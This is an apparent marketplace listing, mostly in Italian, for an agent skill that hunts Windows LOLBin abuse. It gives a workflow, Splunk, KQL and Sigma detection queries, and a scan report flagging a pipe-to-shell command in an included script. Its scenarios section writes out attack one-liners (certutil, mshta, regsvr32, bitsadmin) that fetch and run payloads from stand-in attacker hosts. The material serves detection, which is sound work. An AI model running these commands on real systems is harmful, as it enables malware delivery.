hunting-for-lolbins-execution-in-endpoint-logs
Hunts for LOLBins (Living Off the Land Binaries) abuse, mapped to MITRE
v1.03 installazioni+3 in 7 giorni36,3K StelleApache-2.0sincronizzato 12 ore fa
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FirmaFirmato, ed25519
Pacchetto07d3288e…550d8a70
07d3288ebbba…a23e550d8a708 file · 13.2 KBScansioneMedio4 segnalazioni
- Script eseguibile incluso nella skillscripts/agent.py
- command.pipe_to_shellscripts/agent.py:24
- Script eseguibile incluso nella skillscripts/process.py
Sorgentegithub.com/mukul975/Anthropic-Cybersecurity-Skills/tree/main/skills/hunting-for-lolbins-execution-in-endpoint-logs@54a7988
Questa voce non è ancora scritta in italiano, quindi è mostrata in un'altra lingua: English.
In questa pagina
When to Use
- When hunting for fileless attack techniques that abuse built-in Windows binaries
- After threat intelligence indicates LOLBin-based campaigns targeting your industry
- When investigating alerts for suspicious use of certutil, mshta, rundll32, or regsvr32
- During purple team exercises testing detection of defense evasion techniques
- When assessing endpoint detection coverage for MITRE ATT&CK T1218 sub-techniques
Prerequisites
- Sysmon Event ID 1 (Process Creation) with full command-line logging
- Windows Security Event ID 4688 with command-line auditing enabled
- EDR telemetry with parent-child process relationships
- SIEM platform for query and correlation (Splunk, Elastic, Microsoft Sentinel)
- LOLBAS project reference (lolbas-project.github.io) for known abuse patterns
Workflow
- Build LOLBin Watchlist: Compile a list of high-risk LOLBins from the LOLBAS project, prioritizing: certutil.exe, mshta.exe, rundll32.exe, regsvr32.exe, msbuild.exe, installutil.exe, cmstp.exe, wmic.exe, wscript.exe, cscript.exe, bitsadmin.exe, and powershell.exe.
- Baseline Normal Usage: Establish what normal LOLBin usage looks like in your environment by profiling command-line arguments, parent processes, and user contexts for each binary over 30 days.
- Hunt for Anomalous Arguments: Search for LOLBins executed with unusual command-line arguments indicating abuse -- certutil with
-urlcache -decode -encode, mshta with URL arguments, rundll32 loading DLLs from temp/user directories, regsvr32 with/s /n /u /i:URL. - Analyze Parent-Child Relationships: Identify unexpected parent processes spawning LOLBins -- for example, outlook.exe spawning mshta.exe, or winword.exe spawning certutil.exe indicates weaponized document delivery.
- Check Execution from Unusual Paths: LOLBins executed from non-standard paths (copies placed in %TEMP%, user profile directories) suggest renamed binary abuse.
- Correlate with Network Activity: Map LOLBin execution to outbound network connections (Sysmon Event ID 3) to identify download cradles and C2 callbacks.
- Score and Prioritize: Rank findings by anomaly severity, combining suspicious arguments, unusual parent process, non-standard path, and network activity indicators.
Key Concepts
| Concept | Description |
|---|---|
| T1218 | System Binary Proxy Execution |
| T1218.001 | Compiled HTML File (mshta.exe) |
| T1218.003 | CMSTP |
| T1218.005 | Mshta |
| T1218.010 | Regsvr32 (Squiblydoo) |
| T1218.011 | Rundll32 |
| T1127.001 | MSBuild |
| T1197 | BITS Jobs (bitsadmin.exe) |
| T1140 | Deobfuscate/Decode Files (certutil.exe) |
| T1059.001 | PowerShell |
| T1059.005 | Visual Basic (wscript/cscript) |
| LOLBAS | Living Off the Land Binaries, Scripts and Libraries project |
Tools & Systems
| Tool | Purpose |
|---|---|
| Sysmon | Process creation with command-line and hash logging |
| CrowdStrike Falcon | EDR with LOLBin detection analytics |
| Microsoft Defender for Endpoint | Built-in LOLBin abuse detection |
| Splunk | SPL-based process hunting and anomaly detection |
| Elastic Security | Pre-built LOLBin detection rules |
| LOLBAS Project | Reference database of LOLBin abuse techniques |
| Sigma Rules | Community detection rules for LOLBin abuse |
Detection Queries
Splunk -- High-Risk LOLBin Execution
index=sysmon EventCode=1
| where match(Image, "(?i)(certutil|mshta|rundll32|regsvr32|msbuild|installutil|cmstp|bitsadmin)\.exe$")
| eval suspicious=case(
match(CommandLine, "(?i)certutil.*(-urlcache|-decode|-encode)"), "certutil_download_decode",
match(CommandLine, "(?i)mshta.*(http|https|javascript|vbscript)"), "mshta_remote_exec",
match(CommandLine, "(?i)rundll32.*\\\\(temp|appdata|users)"), "rundll32_unusual_dll",
match(CommandLine, "(?i)regsvr32.*/s.*/n.*/u.*/i:"), "regsvr32_squiblydoo",
match(CommandLine, "(?i)msbuild.*\\\\(temp|appdata|users)"), "msbuild_unusual_project",
match(CommandLine, "(?i)bitsadmin.*/transfer"), "bitsadmin_download",
match(CommandLine, "(?i)cmstp.*/s.*/ni"), "cmstp_uac_bypass",
1=1, "normal"
)
| where suspicious!="normal"
| table _time Computer User Image CommandLine ParentImage ParentCommandLine suspiciousKQL -- Microsoft Sentinel LOLBin Hunting
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("certutil.exe", "mshta.exe", "rundll32.exe", "regsvr32.exe",
"msbuild.exe", "installutil.exe", "cmstp.exe", "bitsadmin.exe")
| where ProcessCommandLine matches regex @"(?i)(urlcache|decode|encode|http://|https://|javascript:|vbscript:|/s\s+/n|/transfer)"
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine
| sort by Timestamp descSigma Rule -- Suspicious LOLBin Command Line
title: Suspicious LOLBin Execution with Malicious Arguments
status: experimental
logsource:
category: process_creation
product: windows
detection:
selection_certutil:
Image|endswith: '\certutil.exe'
CommandLine|contains:
- '-urlcache'
- '-decode'
- '-encode'
selection_mshta:
Image|endswith: '\mshta.exe'
CommandLine|contains:
- 'http://'
- 'https://'
- 'javascript:'
selection_regsvr32:
Image|endswith: '\regsvr32.exe'
CommandLine|contains|all:
- '/s'
- '/i:'
condition: 1 of selection_*
level: high
tags:
- attack.defense_evasion
- attack.t1218Common Scenarios
- Certutil Download Cradle:
certutil.exe -urlcache -split -f http://malicious.com/payload.exe %TEMP%\payload.exeused to download malware bypassing proxy filters. - Mshta HTA Execution:
mshta.exe http://attacker.com/malicious.htaexecuting remote HTA files containing VBScript or JScript payloads. - Regsvr32 Squiblydoo:
regsvr32 /s /n /u /i:http://attacker.com/file.sct scrobj.dllexecuting remote SCT files to bypass application whitelisting. - Rundll32 DLL Proxy:
rundll32.exe C:\Users\user\AppData\Local\Temp\malicious.dll,EntryPointexecuting attacker DLLs via legitimate binary. - MSBuild Inline Task:
msbuild.exe C:\Temp\malicious.csprojexecuting C# code embedded in project files to bypass application control. - BITS Transfer:
bitsadmin /transfer job /download /priority high http://attacker.com/malware.exe C:\Temp\update.exeusing BITS service for stealthy file download. - WMIC XSL Execution:
wmic process list /format:evil.xslexecuting JScript/VBScript from XSL stylesheets.
Output Format
Hunt ID: TH-LOLBIN-[DATE]-[SEQ]
Host: [Hostname]
User: [Account context]
LOLBin: [Binary name]
Full Path: [Execution path]
Command Line: [Full arguments]
Parent Process: [Parent image and command line]
Detection Category: [download_cradle/proxy_exec/uac_bypass/applocker_bypass]
Network Activity: [Yes/No -- destination if applicable]
Risk Level: [Critical/High/Medium/Low]File di questa versione
assets/11.2 KB
- template.md1.2 KB
references/37.8 KB
- api-reference.md1.8 KB
- standards.md2.6 KB
- workflows.md3.4 KB
scripts/212.6 KB
- agent.py5.6 KB
- process.py7.0 KB
- LICENSE11.0 KB
- SKILL.md7.9 KB
Permessi
| Permesso | Dichiarato | Trovato dalla scansione |
|---|---|---|
| Legge file | No | No |
| Scrive file | Sì | Sì |
| Esegue comandi shell | Sì | Sì |
| Usa la rete | Sì | Sì |
| Usa i connettori | No | No |
| Controlla un browser | No | No |
Segnalazioni della scansione
Rivisto il 13 nov 2026
- MediaFile · Script eseguibile incluso nella skillscripts/agent.py
- MediaComando · command.pipe_to_shellscripts/agent.py:24
- MediaFile · Script eseguibile incluso nella skillscripts/process.py
- InfoLink · Link a domini esterni
Una scansione pulita abbassa il rischio, ma non prova che il pacchetto sia sicuro. Leggi quello che installi.
| Versione | Pubblicata | Commit | SHA-256 | Firma | Cambio di permessi |
|---|---|---|---|---|---|
| v1.0 | 13 nov 2026 | 54a7988 | 07d3288e | Firmata | – |
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